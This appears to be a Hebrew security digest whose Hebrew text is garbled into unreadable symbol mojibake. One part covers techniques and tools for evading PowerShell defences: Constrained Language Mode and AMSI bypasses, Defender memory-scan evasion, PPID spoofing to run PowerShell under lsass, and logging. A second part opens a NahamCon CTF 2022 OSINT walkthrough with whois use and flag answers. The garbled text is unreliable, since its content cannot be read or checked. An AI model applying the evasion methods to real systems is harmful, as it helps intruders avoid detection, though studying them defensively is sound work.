˞˪˞ ˯˯ˣ˟ˬ ˪˰ System.Management.Automation.dll Σ˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˟dll- ˪˰ ˸ˮˬ ˶ˣ˴˧˪ ˨˧˪ˢ˸ ˶˥˞ 

˷ˡ˥ ˫˰ ˸ˣ˪ˣ˩˧ˢ ˪˷ PowerShell Σ˨˧˪ˢ˸ˢ ˳ˣ˶˧ ˟˴ˬ˟ FullLanguageΥ 
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˨˧˞ ˟˴ˬ ˢˤ ˧˶˷˲˞Κ ˸˶ˡˠˢ ConstrainedLanguage ˢ˪˥ ˵˶ ˪˰ ˫˧˩˧˪ˢ˸ ˪˷PowerShell  ˫ˢ˷ native 

˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢΦ ˨˧˪ˢ˸ˢ msbuild.exe ˞ˣˢ ˨˧˪ˢ˸ ˶˥˞ ˣˮ˶˴˧˷ ˸˶ˤ˰˟ ˧˪˩ˢ MSBuildShell ˭˩˪ˣ ˞˪ 

˪ˣ˥˸ ˣ˧˪˰ ˢ˶ˡˠˢˢ ˪˷ ConstrainedLanguageΥ 

 

˶˥˞˪ ˱˵ˣ˸ˢ˷ ˶˟˰ ˸˞ ˢ˩ˣ˷ˬˢ ˪˷ ConstrainedLanguage Σ˞ˣˢ ˱ˣ˵˰˧ ˸˞ AMSI ˭˰˦˧ˣ ˫˧˪˩ ˫˧˧˲˵˸ˢ 

˭ˣ˶˩ˤ˪Φ 

˫˧˪˩ ˫˧˲˯ˣˮΥ 

¶ https://github.com/Mr-Un1k0d3r/PowerLessShell - PowerLessShell 

¶ https://github.com/padovah4ck/PSByPassCLM - PSByPassCLM 

 

¶ https://github.com/OmerYa/Invisi-Shell - Invisi-Shell 

 

˫˧˪˩ˢ ˮˢϦ˪ ˫ˮˬ˞ ˫˧˶˷˲˞ˬ ˱ˣ˵˰˪ ˟˴ˬ ˪˷ ConstrainedLanguage Σ˨˞ ˫ˢ ˫˧˥˧˶˩ˬ ˸˞ ˫˧˲˵ˣ˸ˢ 

ˡˣ˟˰˪ ˢ˷˵ ˶˸ˣ˧ Φˡ˴ˬ ˧ˮ˷ ˦˰ˬ˩ ˪˩ ˫˧ˮˣˠ˶˞ˢ ˫ˮ˧˞ ˫˧ˬ˷˧˧ˬ ConstrainedLanguage ˸ˣ˟˧˟˯˟ ˭˧˧ˬˣˡˢΦ 

˫˧˸˧˰˪ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˟˴ˬ ˣˮ˲˵˰˷ ˸˞ AMSI Σˣˮ˰˦ ˸˞ ˡˣ˵ˢ ˭ˣ˶˩ˤ˪ ˨˧˪ˢ˸ˢˣ ˪˷PowerShell  ˶ˠ˯ˮ ˭˲ˣ˞˟ 

˧ˬˣ˞˸˲ Φ˰ˣˡˬ ˢˤ ˢ˶ˣ˵Κ 

  

https://github.com/Cn33liz/MSBuildShell
https://github.com/Mr-Un1k0d3r/PowerLessShell
https://github.com/padovah4ck/PSByPassCLM
https://github.com/OmerYa/Invisi-Shell
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Defender Memory Scanning 

Windows Defender ATP ˪ˣ˩˧ ˵ˣ˶˯˪ ˸˞ ˭ˣ˶˩ˤˢ ˸ˣˢˤ˪ˣ ˫˧˯ˣ˲ˡ ˣˬ˩ ˪˷ˬ˪ ˞ˣ˟˧˧ ˸ˣ˧˶˲˯ ˸ˣˬ˧˧ˣ˯ˬ ˶˷˞ 

˰ˣˡ˧ ˫˧˷˰ˮ˷ ˭ˢ˟ ˷ˣˬ˧˷ ˪˰ ˧ˡ˧ Malwares Φ˶˷˞˩ ˱˵ˣ˸ ˷ˬ˸˷ˬ ˸˵˧ˮ˩˦˟ Reflective PE Injection ˪˰ 

˸ˮˬ ˭ˣ˰˦˪ C# Assembly )ˢˤ˷ ˢ˷˰ˬ˪ ˳˟ˣ˵ ˢ˴˶ˢ ˶˴ˣˮ˷ ˢ˶ˣ˴˟ ˸˧˦˞ˬˣ˦˞ ˪˰ ˧ˡ˧ ˶˪˧˧˲ˬˣ˵ ˟-.Net ό

˸ˣ˰˴ˬ˞˟ PowerShell ˭ˣ˶˩ˤ˪ Σˢ˷˰ˮ ˷ˣˬ˧˷ ˟-Win APIs ˫˧˪ˠ˸ˬ˷ ˪˰ ˧ˡ˧ ˸˵˧˶˯ ˭ˣ˶˩ˤˢ ˪˷ s-Defender .

˱˯ˣˮ˟ ΣMimikatz ˞˟˧˧ˬ ˶˸ˣ˧ ˬ-нл ˸ˣ˧˶˲˯ ˣ˸ˣ˞˟ ˶ˡ˯ ˪˩ ˭ˬˤˢ ˸˰˟ ˢ˴˶ˢˢ Σ˵˶ˣ˯ ˭ˣ˶˩ˤˢ ˪˷ Defender 

ˢˢˤˬ ˸˞ ˯ˣ˲ˡˢ ˢˤˢ ˵˧˯˲ˬˣ ˸˞ ˨˧˪ˢ˸ˢ ˪˷ PowerShellΦ 

˨˶ˡ ˸˥˞ ˱ˣ˵˰˪ ˸˞ ˭ˣˮˠˮˬ ˢ˵˧˶˯ˢ ˞˧ˢ ˳˧˶ˢ˪ ˸˞ ˨˧˪ˢ˸ˢ ˪˷ PowerShell ˨˶ˡParent process  ˶˥˞Φ 

˭˲ˣ˞˟ ˧˪ˬ˶ˣˮ Σ˨˧˪ˢ˸ ˪˷ PowerShell ˳˶ ˸˥˸ explorer.exeΥ 

 

˧ˡ˩ ˳˧˶ˢ˪ ˨˧˪ˢ˸ ˫˧˧ˣ˯ˬ ˸˥˸ Parent process ˶˥˞ ˷ˬ˸˷ˮ ˸˵˧ˮ˩˦˟ PPID SpoffingΦ ˢ˟ˢ ˳˧˶ˮ ˨˧˪ˢ˸ 

˪˷PowerShell  ˸˥˸ lsass ˸˶ˤ˰˟ ˧˪˩ˢ psgetsystemΥ 

 

 

psgetsystem
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˸˰˩ ˱ˣ˵˰ˮ ˸˞ AMSI ˭˰˦ˮˣ ˭ˣ˶˩ˤ˪ ˢ˯˶ˠ ˪˷ MimikatzΥ 

 

˫ˠ ˫˞ ˱˵ˣ˸ ˥˧˪˴ˬ ˱ˣ˵˰˪ ˸˞ ˸ˣˮˠˢˢ Σ˭˧˧ˡ˰ ˣ˶˴ˣˣ˧ ˫˧ˠˣ˪ ˫˧˶˧ˠ˯ˬ˷ ˸˞ ˸ˣ˪˧˰˲ˢ ˣ˪˷Φ  

˶˟˰˟ Σ˫˧ˠˣ˪ ˪˷πPowerShell ˞˪ ˣ˵˲˧˯ ˰ˡ˧ˬ ˢˬ ˱˵ˣ˸ˢ ˳˧˶ˢ Σ˭˩˪ ˦˲ˣ˯ˣ˶˵˧ˬ ˣ˦˵ˮ ˫˧˰˴ˬ˞ ˶˲˷˪ ˸˞ 

ˡˣ˰˧˸ ˫˧ˠˣ˪ˢ ˬπPowerShell ˢ˯˶ˠˬ рΦ 

 

Script Block Logging 

Script Block Logging ˡ˰˸ˬ ˫˧˵ˣ˪˟ ˪˷ ˡˣ˵ ˧˲˩ ˫ˢ˷ ˫˧˴˶ ˪˰ ˧ˡ˧ ˰ˣˮˬˢ ˪˷ PowerShell Σ˨˩ˣ ˶˷˲˞ˬ 

ˡˣ˰˧˸ ˪˷ ˭˩ˣ˸ˢ ˞˪ˬˢ ˪˷ ˡˣ˵ˢ ˳˶ˣˢ˷ ˪˰ ˧ˡ˧ ˱˵ˣ˸ˢ Σ˪˪ˣ˩ ˫˧˦˲˧˶˵˯ ˸ˣˡˣ˵˲ˣ: 

 

ˡˣ˰˧˸ˢ ˪˪ˣ˩ ˫ˠ ˫˧˦˲˧˶˵˯ ˣ˶˟˰˷ ˪ˣ˟˶˰ Σˡˣˡ˧˵ ˟-Base64 ΣXOR ΣмоROT ˣ˩ˣΦϥ 
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˸ˣ˶ˬ˪ ˫˧ˠˣ˪ˢ˷ ˞˪ ˫˧˶ˡˠˣˬ ˸˶˧˶˟˟ ˪ˡ˥ˬˢ ˟πGroup Policy Σπ˟PowerShell ˢ˯˶ˠ рΦл ˷˧ ˡˣ˰˧˸ 

˧˦˞ˬˣ˦ˣ˞ ˪˷ ˫˧˵ˣ˪˟ˢ ˪˷ ˡˣ˵ˢ ˫˞ ˷˧ ˢˬ˞˸ˢ ˢˬ˧˷˶˪ ˪˷ ˸ˣˡˣ˵˲ x˞ ˫˧˦˲˧˶˵˯ Ϧ˫˧ˡˣ˷˥ ΦϦ˫˧ˠˣ˪ˢ 

ˣ˶˴ˣˣ˧˷ ˢ˞˴ˣ˸˩ ˢˬ˞˸ˢˢˬ ˪˷ ˸ˣˡˣ˵˲ x˞ ˫˧˦˲˧˶˵˯ Ϧ˫˧ˡˣ˷˥ Ϧπ˟Event 4104 ˸ˬ˶˟ WarningΥ 

 

˪˰ ˸ˮˬ ˪˩˷ ˸ˣ˪˧˰˲ ˪˷ PowerShell ˢ˧ˢ˸ ˸ˡ˰ˣ˸ˬ ˫˧ˠˣ˪˟ ˞˪ˣ ˵˶ ˫˧˦˲˧˶˵˯ Ϧ˫˧ˡˣ˷˥ Ϧ˷˧ ˶˧ˡˠˢ˪ 

Script Block Logging ˟Group Policy-Υ 

 

˨˧˶˴ ˶˧ˡˠˢ˪ ˸˞ ˫˧ˠˣ˪ˢ ˟πGroup PolicyΥ 

!ŘƳƛƴƛǎǘǊŀǘƛǾŜ ¢ŜƳǇƭŀǘŜǎ Ҧ ²ƛƴŘƻǿǎ /ƻƳǇƻƴŜƴǘǎ Ҧ ²ƛƴŘƻǿǎ tƻǿŜǊ{ƘŜƭƭ 

ˣ˞ ˭˧˲ˣ˪˥˪ ˶˧ˡˠˢ˪ ˟πRegistryΥ 

HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging 

Ҧ 9ƴŀōƭŜ{ŎǊƛǇǘ.ƭƻŎƪ[ƻƎƎƛƴƎ Ґ м 

˳˪ˬˣˬ ˫ˠ ˶˧ˡˠˢ˪ Transcription xπ Module Logging ˟Group Policy-Φ 

˫ˠ ˶˟ˡ˪ ˢˤˢ ˫˧˲˵ˣ˸ ˫˧˰ˡˣˬ ˫ˮ˷˧ˣ ˫˧˩˶ˡ ˰ˣˮˬ˪ ˸ˣ˶˴ˣˣ˧ˢ ˫˧ˠˣ˪ ˪˷ PowerShell Σ˪˷ˬ˪Υ 

https://gist.github.com/cobbr/d8072d730b24fbae6ffe3aed8ca9c407  

https://gist.github.com/cobbr/d8072d730b24fbae6ffe3aed8ca9c407
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˫ˣ˩˧˯  

˶˷˞˩ PowerShell ˤ˶˩ˣˢ ˟-нллс Σ˞ˣˢ ˡ˰ˣˮ ˸ˣ˧ˢ˪ ˰ˣˮˬ ˠˮ˧˦˲˧˶˵˯ ˫ˡ˵˸ˬ ˶ˣ˟˰ ˧˷ˮ˞ IT ˫˰ ˸ˣ˪ˣ˩˧ 

˸ˣ˷˧ˬˠ Φ˶˟˰ˬ˟ ˶˧ˢˬ ˶˲˯ˬ ˫˧ˮ˷ ˢˬ˧ˡ˵ ΣPowerShell ˨˲ˢ ˸ˣ˧ˢ˪ ˧˶˞˪˲ˣ˲ ˞˪ ˵˶ ˟˶˵˟ ˧˷ˮ˞ IT ˞˪˞ ˫ˠ 

˟˶˵˟ ˫˧˶˵˞ˢ ˧˸ˣˣ˴ˣ ˢ˲˧˵˸ ˟˵˰ ˸˞ˤˣ ˸ˣ˪ˣ˩˧ˢ ˸ˣˬˡ˵˸ˬˢ ˣ˪˷Φ 

˟˧˟˯ ˢ˶˩ˢˢ ˸ˣ˪ˣ˩˧˟ ˸ˣˮˣˣˠˬˢ ˪˷ PowerShell ˪ˣ˴˧ˮˣ ˭ˢ˪˷ ˢ˰˶˪ (Living off the land) Σˣ˟˸˩ˮ ˧˪˩ 

ˢ˲˧˵˸ ˫˧˟˶ ˧˯˯ˣ˟ˬ ˫˧˦˲˧˶˵˯ ˸ˣ˶˦ˬ˪ ˸ˣˮˣ˷ ˧˟˪˷˟ ˢ˲˵˸ˢˢ ˭˸˧ˮ˷ ˷ˬ˸˷ˢ˪ ˫ˢ˟ ˩πFileless attack Σ

˶ˬˣ˪˩ ˭ˣ˰˦˪ ˸˞ ˡˣ˵ˢ ˶˷˧ ˭ˣ˶˩ˤ˪ ˧˪˟ ˳˟ˣ˵˷ ˶ˬ˷˧˧ ˭ˮˣ˩˟ ˧ˬˣ˵ˬ ˨˩ˣ ˵ˬ˥˸ˢ˪ ˧ˮˣˮˠˮˬˬ ˢˮˠˢ ˫˧ˮˣ˷ Φ 

˸ˣ˴ˣ˟˵ ˢ˲˧˵˸ FIN8 xπAPT32 ˞ˬˠˣˡ˪ ˣˡ˰ˣ˸ ˫ˣ˷˧˧˟ ˸ˣ˲˵˸ˢ FilelessΦ 

˸ˣˮˣ˶˸˧ˢ ˪˷ ˧˪˩ ˢ˲˧˵˸ ˧˯˯ˣ˟ˬ ˫˧˦˲˧˶˵˯ ˪˰ ˧ˮ˲ ˫˧˪˩ ˣ˶˟˰˷ ˢ˧˴˪˧˲ˬˣ˵ ˫ˢ ˫˧˵ˢ˟ˣˬΥ 

¶ PowerShell ˶˟˩ ˢˮ˟ˣˬ ˪˩˟ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢˢ ˪˷ ˦˲ˣ˯ˣ˶˵˧ˬΦ 

¶ ˫˧˦˲˧˶˵˯ ˫˧ˮ˸˧ˮ ˥ˣ˸˧˲˪ ˢ˟˶ˢ ˶˸ˣ˧ ˶ˢˬΦ 

¶ ˪ˣ˟˶˰ ˪˷ ˦˲˧˶˵˯ ˞ˣˢ ˶˸ˣ˧ ˦ˣ˷˲ ˶˷˞ˬ ˡˣ˵ ˢˮˣ˩ˬΦ 

¶ ˶˸ˣ˧ ˢ˷˵ ˶˦ˮ˪ ˫˧˦˲˧˶˵˯ ˶˷˞ˬ ˧˴˟˵ ˢ˴˶ˢΦ 

ˣˮ˧˞˶ ˡ˴˧˩ ˦˲ˣ˯ˣ˶˵˧ˬ ˢ˯ˮˬ ˫ˣ˯˥˪ ˸˞ ˸ˣ˲˵˸ˢˢ ˮˢϦ˪ ˡ˴˧˩ˣ ˫˧˲˵ˣ˸ ˫˧ˡˬˣ˪ ˸˞ ˸ˣˮˠˢˢ ˫˧˞˴ˣˬˣ ˫˧˩˶ˡ 

˸ˣ˧˸˶˧˴˧ ˱ˣ˵˰˪ ˫˸ˣ˞Φ 

˧˩˶ˡ ˱˵˰ˬ ˫˧ˮˣ˷ ˶˷˞ ˫˧ˬ˯˶˲˸ˬ  κ˫˧˪ˠ˸ˬ Σˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ˫˧ˬ˸˥ˮ ˫˧ˬ˯˥ˮˣ Φˣˢˤ ˨˧˪ˢ˸ ˧˲ˣ˯ˮ˧˞ ˭˧˟ 

˫˧˲˵ˣ˸ ˶˷˞ ˫˧˞˴ˣˬ ˫˧˩˶ˡ ˸ˣˮˣ˷ ˱ˣ˵˰˪ ˧ˮˣˮˠˮˬ ˢˮˠˢ ˭˧˟˪ ˧˶˴ˣˬ ˢ˥˦˟˞ ˶˷˞ ˫˧˯ˮˬ ˫ˣ˯˥˪ ˸ˣ˦˧˷ ˢ˪˞ 

˶˷˞˩ ˭s ˸ˣ˪ˠ˸ˬΦ 
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˸ˣ˶ˣ˵ˬ 

¶ https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-

The-Rise-and-Fall-of-AMSI.pdf - The Rise and Fall of AMSI 

¶ https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/ - Bypass AMSI by manual 

modification 

¶ https://www.contextis.com/us/blog/amsi-bypass - AMSI Bypass 

¶ https://github.com/cfalta/PowerShellArmoury/blob/master/modules/TEMPLATE_evasion_AMSI_byp

ass.ps1 - PowerShellArmoury 

¶ https://rastamouse.me/memory-patching-amsi-bypass/ - Memory Patching AMSI Bypass 

¶ https://www.youtube.com/watch?v=_sPM9Er_194&t=1044s - AV Evasion 101 - Powershell 

¶ https://www.youtube.com/watch?v=uE8IAxM_BhE&t=152s - Daniel Bohannon - Invoke-Obfuscation: 

PowerShell obFUsk8tion 

¶ https://w ww.youtube.com/watch?v=O6dtIvDfyuI&t=1693s - PowerShell Constrained Language Mode 

Enforcement and Bypass Deep Dive 

¶ https://teamt5.org/en/posts/a-deep-dive-into-powershell-s-constrained-language-mode/ - What is 

Constrained Language Mode and Why it Matters 

¶ https://www.mandiant.com/resources/greater-visibilityt - Greater Visibility Through PowerShell 

Logging 

¶ https://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-

1/ - POWERSHELL LOGGING: OBFUSCATION AND SOME NEW(ISH) BYPASSES 

¶ https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation - Deep 

dive into a FIN8 attack - A forensic investigation 

 

 
 
 
 

3r3 15 n0 5p00n- 

  

https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf
https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf
https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/
https://www.contextis.com/us/blog/amsi-bypass
https://github.com/cfalta/PowerShellArmoury/blob/master/modules/TEMPLATE_evasion_AMSI_bypass.ps1
https://github.com/cfalta/PowerShellArmoury/blob/master/modules/TEMPLATE_evasion_AMSI_bypass.ps1
https://rastamouse.me/memory-patching-amsi-bypass/
https://www.youtube.com/watch?v=_sPM9Er_194&t=1044s
https://www.youtube.com/watch?v=uE8IAxM_BhE&t=152s
https://www.youtube.com/watch?v=O6dtIvDfyuI&t=1693s
https://teamt5.org/en/posts/a-deep-dive-into-powershell-s-constrained-language-mode/
https://www.mandiant.com/resources/greater-visibilityt
https://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/
https://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/
https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation
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˭ˣ˶˸˲ ˵˪˥ ˧˶ˠ˸˞ˬ NahamCon-CTF 2022 

˸˞ˬ ˫˸ˣ˧ ˪˵˶˲ 

 

ˢˬˡ˵ˢ  

˱ˣ˯˟ ˷ˡˣ˥ ˪˧˶˲˞ ˢˬ˧˧˵˸ˢ ˸ˣ˶˥˸ sπCTF ˸˧˸ˮ˷ˢ ˪˷ s˯ˮ˩ NahamCon Φ˸ˣ˶˥˸ˢ ˢ˪˪˩ ˪˰ˬ сл 

˫˧˶ˠ˸˞ ˫˧ˮˣ˷ ˭ˣˣˠˬ˟ ˫˧ˬˣ˥˸ ˸ˣˬ˶˟ˣ ˧˷ˣ˵ ˸ˣˮˣ˷ Φˢˬˣˡ˟ ˸˧ˣ˶˥˸˪ CTF ˸ˣ˶˥˞ ˬ ˭˞˩ ˫ˠ˸˶˦ ˪˩ ˶ˠ˸˞ 

˞˧ˢ ˞ˣ˴ˬ˪ ˪ˠˡ ˢˮ˟ˬ˟ ˫˧ˣ˯ˬ ˢˣˣˢˬˢ ˢ˥˩ˣˢ ˭ˣ˶˸˲˪ ˶ˠ˸˞ˢ Φ 

˶ˬ˞ˬ˟ ˢˤ ˶ˣ˵˯˞ ˸˞ ˭ˣ˶˸˲ˢ ˧˪˷ ˢ˰˷˸˪ ˨ˣ˸ˬ ˫˧˶ˠ˸˞ˢ ˸ˣ˶˥˸˟ Φ˧ˮ˞ ˧˸˧ˮˢˮ ˡˣ˞ˬ ˶ˣ˸˲˪ ˫˸ˣ˞ 

˧˸˷ˠ˶ˢˣ ˧˸ˡˬ˪˷ ˫ˢˬ ˞˪ ˦˰ˬ Φˢˮˣˬ˷ ˫˧˶ˠ˸˞ ˫ˢ ˫ˣ˥˸ˬ sπOSINT ύ˭˧˰˧ˡˣˬ ˸ˣ˶ˣ˵ˬˬ ˫˧˧ˣ˪ˠ ό˶ˠ˸˞ˣ 

ˡ˥˞ ˶ˡˠˣˢ˷ ˶ˠ˸˞˩ ˢ˧˲˶ˠˣˮˠ˦˯Φ 

 

˧˶ˠ˸˞ sπOSINT Keeber 1-8 

˧ˮ˲˪ ˪ˣ˪˴ˮ˷ ˞˪˫˧˶ˠ˸ ˫ˬ˴˰ Σ˶˧˟˯ˮ ˣˢˬ ˭˧˰˧ˡˣˬ ˸ˣ˶ˣ˵ˬˬ ˫˧˧ˣ˪ˠ Φ˧˲˪ ˢ˧ˡ˲˧˵˧ˣΥ 

 Σ                

Φ     Σ           

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˟˸˲ˬ ˢ˟˷˥ˬˢ ˣˤˢ ύˢ˶˴ˣˮ˷ ˪˰ ˧ˡ˧ @jnordine Σόˡˣˬ˭˧˰˧ ˸ˣ˶ˣ˵ˬˬ ˫˧˧ˣ˪ˠ ˞ˣˢ ˫ˣ˥˸ 

˟˥˶ ˡˣ˞ˬ ˷˧ˣ ˶ˣ˲˯ˮ˧˞ ˫˧˪˩ ˫˧˪ˣ˩˧ˢ ˰˧˧˯˪ ˭ˣ˶˸˲˟ ˫˧˶ˠ˸˞ ˠˣ˯ˬ ˢˤ Φ 

ˢ˟˧˯ˢ ˧ˮ˞˷ ˧˸˶˟˥˸ˢ ˡˣ˞ˬ ˠˣ˯˪ ˢˤ ˪˷ ˫˧˶ˠ˸˞ ˞˧ˢ ˧˩ ˨˶ˡ˟ ˪˪˩ ˷˧ ˶˸ˣ˧ ˨˶ˡˬ ˸˥˞ ˶ˣ˸˲˪ ˪˩ ˶ˠ˸˞ 

˭˩˪ˣ ˫˧˶ˠ˸˞ˢ ˫˧˵˲˯ˬ ˫ˣ˵ˬ ˸ˣ˧˸˶˧˴˧˪ ˢ˟˧˷˥ˣ ˳ˣ˥ˬ ˢ˯˲ˣ˵˪Φ 

  

https://he.wikipedia.org/wiki/%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F_%D7%9E%D7%9E%D7%A7%D7%95%D7%A8%D7%95%D7%AA_%D7%92%D7%9C%D7%95%D7%99%D7%99%D7%9D
https://osintframework.com/
https://twitter.com/jnordine
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Keeber 1 

˶ˣ˞˧˸ ˶ˠ˸˞ˢΥ 

ά¸ƻǳ ƘŀǾŜ ōŜŜƴ ŀǇǇƭȅƛƴƎ ǘƻ ŜƴǘǊȅ-level cybersecurity jobs focused on reconnaissance and open-

source intelligence (OSINT). Great news! You got an interview with a small cybersecurity 

company; the Keeber Security Group. Before interviewing, they want to test your skills through a 

series of challenges oriented around investigating the Keeber Security Group. 

The first step in your investigation is to find more information about the company itself. All we 

know is that the company is named Keeber Security Group and they are a cybersecurity startup. 

¢ƻ ǎǘŀǊǘΣ ƘŜƭǇ ǳǎ ŦƛƴŘ ǘƘŜ ǇŜǊǎƻƴ ǿƘƻ ǊŜƎƛǎǘŜǊŜŘ ǘƘŜƛǊ ŘƻƳŀƛƴΦέ 

 

˭ˣ˶˸˲Υ 

˶ˣ˞˧˸ˬ ˶ˠ˸˞ˢ ˣˮ˞ ˫˧ˮ˧˟ˬ ˣˮ˧˪˰˷ ˞ˣ˴ˬ˪ ˸˞ ˣˬ˷ ˪˷ ˫ˡ˞ˢ ˫˷˶˷ ˸˞ ˭˧˧ˬˣˡˢ ˷ˬ˷ˬ˷ ˸˞ ˶˸˞ 

ˢ˶˟˥ˢ Φ˷ˣ˲˧˥ ˪ˠˣˠ ˦ˣ˷˲ ˶ˣ˟˰ ϦKeeber Security GroupϦ ˞˧˟˧ ˣˮ˸ˣ˞ ˞ˣ˴ˬ˪ ˸˞ ˶˸˞ ˢ˶˟˥ˢΥ 

keebersecuritygroup.com 
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˧˪˩ˢ x˟ ˷ˬ˸˷ˮΥ 

˷ˬ˸˷ˮ ˫ˣ˷˧˧˟ ˸˶ˣ˷ ˢˡˣ˵˲ˢ whois ˶˷˞ ˶˷˲˞ˬ ˶ˤ˥˞˪ ˰ˡ˧ˬ ˫ˣ˷˧˶ ˶ˣ˟˰ ˭˧˧ˬˣˡ ˭ˣ˸ˮΦ 

˭ˣ˶˸˲Υ 

˶˥˞˪ ˸˴˶ˢ ˢˡˣ˵˲ˢ Υ 

whois  keebersecuritygroup. com 

 

ˣˮ˞ ˫˧˪˟˵ˬ ˸˞ ˰ˡ˧ˬˢ ˷˶ˡˮˢ ˸˞ˣ ˪ˠˡˢ ˧ˣ˴˶ˢΥ 

 

 

flag{ef67b2243b195eba43c7dc797b75d75b} 

 

  

https://manpages.debian.org/stretch/whois/whois.1.en.html
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Keeber 2 

˶ˣ˞˧˸ ˶ˠ˸˞ˢΥ 

ά¢ƘŜ YŜŜōŜǊ {ŜŎǳǊƛǘȅ DǊƻǳǇ ƛǎ ŀ ƴŜǿ ǎǘŀǊǘǳǇ ƛƴ ƛǘǎ ƛƴŦŀƴǘ ǎǘŀƎŜǎΦ ¢ƘŜ ǘŜŀƳ ƛǎ ŀƭǿŀȅǎ ŎƘŀƴƎƛƴƎΣ 

and some people have left the company. The Keeber Security Group has been quick with changing 

their website to reflect these changes, but there must be some way to find ex-employees. Find an 

ex-ŜƳǇƭƻȅŜŜ ǘƘǊƻǳƎƘ ǘƘŜ ƎǊƻǳǇϥǎ ǿŜōǎƛǘŜΦέ 

˭ˣ˶˸˲Υ 

˶ˣ˞˧˸ˬ ˶ˠ˸˞ˢ ˣˮ˞ ˫˧ˮ˧˟ˬ ˣˮ˧˪˰˷ ˞ˣ˴ˬ˪ ˰ˡ˧ˬ ˪˰ ˡ˟ˣ˰κ˸ ˶˟˰˷˪ ˪˷ ˢ˶˟˥ˢ ˨˞ ˰ˡ˧ˬˢ ˷˵ˣ˟ˬˢ ˶˟˩ 

ˣˮˮ˧˞ ˫˧˧˵ ˶˸˞˟ ˢ˶˟˥ˢ Φ˭˩˞ˣ Σ˫˞ ˷ˣ˪ˠˮ ˡˣˬ˰˪ ˸ˣˣˣ˴ˢ ˶˸˞˟ ˢ˶˟˥ˢ ˣˮ˞ ˫˧˞ˣ˶ ˢ˷˧˷ ˫˧ˡ˟ˣ˰ ˶ˡ˰˧ˢˬˣ 

˪ˠˡˢ ˣˮ˞ ˫˧˵˧˯ˬ ˱˞˷ ˡ˥˞ ˫ˢˬ ˞ˣˢ ˞˪ ˡ˟ˣ˰ˢκ˸ ˶˟ˣˡˬˢ: 

 

ˢˤ ˧˶ˬˠ˪ ˧ˣ˲˴ ˟˷˥˸ˢ˟ ˢˡ˟ˣ˰˟ ˶ˣ˞˧˸˷ ˶ˠ˸˞ˢ ˭˧˧˴ ˷˶ˣ˲ˬ˟ ˸ˣˣ˴˷ ˢ˶˟˥ˢ ˪˰˲ ˸ˣ˶˧ˢˬ˟ ˭˩ˡ˰˪ ˸˞ 

˶˸˞ˢ Φˤ˞ ˨˧˞ ˣˮ˞ ˫˧˪ˣ˩˧ ˸˷ˠ˪ ˢ˯˶ˠ˪ ˸ˬˡˣ˵ ˪˷ ˱ˡ ˫˧ˡ˟ˣ˰ˢ ˶˷˞ ˢ˲˧˞˷˟ ˪˧˩ˬ ˸˞ ˫˧˦˶˲ˢ ˪˰ 

ˡ˟ˣ˰ˢκ˸ ˶˟˰˷˪Κ 

ˢ˲ ˯ˮ˩ˮ ˢˮˣˬ˸˪ ˧˪˩ˢ .Wayback Machine ˣˢˤ ˫˴˰˟ ˭ˣ˧˩˶˞ ˧˪˦˧ˠ˧ˡ ˪˷ s-World Wide Web ˭˯˥˞ˬˢ 

˫˧˵˸ˣ˰ ˪˷ ˧˲ˡ ˦ˮ˶˦ˮ˧˞ ˶˟˩˷ ˞˪ ˫˧ˮ˧ˬˤ Φ˫˞ ˷˲˥ˮ ˸˞ ˶˸˞ ˢ˴ˣ˟˵ˢ ˸ˣ˰˴ˬ˞˟ s-Wayback Machine 

˪˩ˣˮ ˸ˣ˞˶˪ ˵˸ˣ˰ˢ˷ ˭˷˧ˢ ˶˸ˣ˧˟ ˫˧˧˵ˢ ˶˸˞˪ ˞ˣˢ ˢˬπ19 ˪˧˶˲˞˪Φ 

https://web.archive.org/
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˸˞˴ˣ˸ ˷ˣ˲˧˥ˢ: 

 

˫˞ ˳˥˪ˮ ˪˰ ˢ˯˶ˠˢ ˸ˮ˯˥ˣ˞ˬˢ ˪˷ ˡˣˬ˰ ˸ˣˣ˴ˢ ˪ˣ˪ˠˮˣ ˦˰ˬ ˢ˦ˬ˪ ˪˩ˣˮ ˸ˣ˞˶˪ ˸˞ ˰ˡ˧ˬˢ ˪˰ ˸ˡ˟ˣ˰ˢ 

˶˟˰˷˪ ˧ˮ˞˲˧˦ ˯˪ˠ˞ˡ ˸˞ˣ ˪ˠˡˢ ˷˵ˣ˟ˬˢΥ 

 

flag{cddb59d78a6d50905340a62852e315c9} 
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Keeber 3 

˶ˣ˞˧˸ ˶ˠ˸˞ˢΥ 

ά¢ƘŜ ŜȄ-employee you found was fired for "committing a secret to public GitHub repositories". 

CƛƴŘ ǘƘŜ ŎƻƳƳƛǘǘŜŘ ǎŜŎǊŜǘΣ ŀƴŘ ǳǎŜ ǘƘŀǘ ǘƻ ŦƛƴŘ ŎƻƴŦƛŘŜƴǘƛŀƭ ŎƻƳǇŀƴȅ ƛƴŦƻǊƳŀǘƛƻƴΦέ 

 

Υ˷ˬ˸˷ˮ x ˟˧˪˩ˢ 

cURL ˣˮ˧ˢ ˧˪˩ ˶˷˲˞ˬˢ ˸˥˧˪˷ ˰ˡ˧ˬ ˪˞ ˸˶˷ ˸˪˟˵ˣ ˰ˡ˧ˬ ˣˮˬˬ ˸ˣ˞˴ˬ˞˟ ˷ˣˬ˧˷ ˟πURL Φ˧˪˩ˢ ˨ˬˣ˸ 

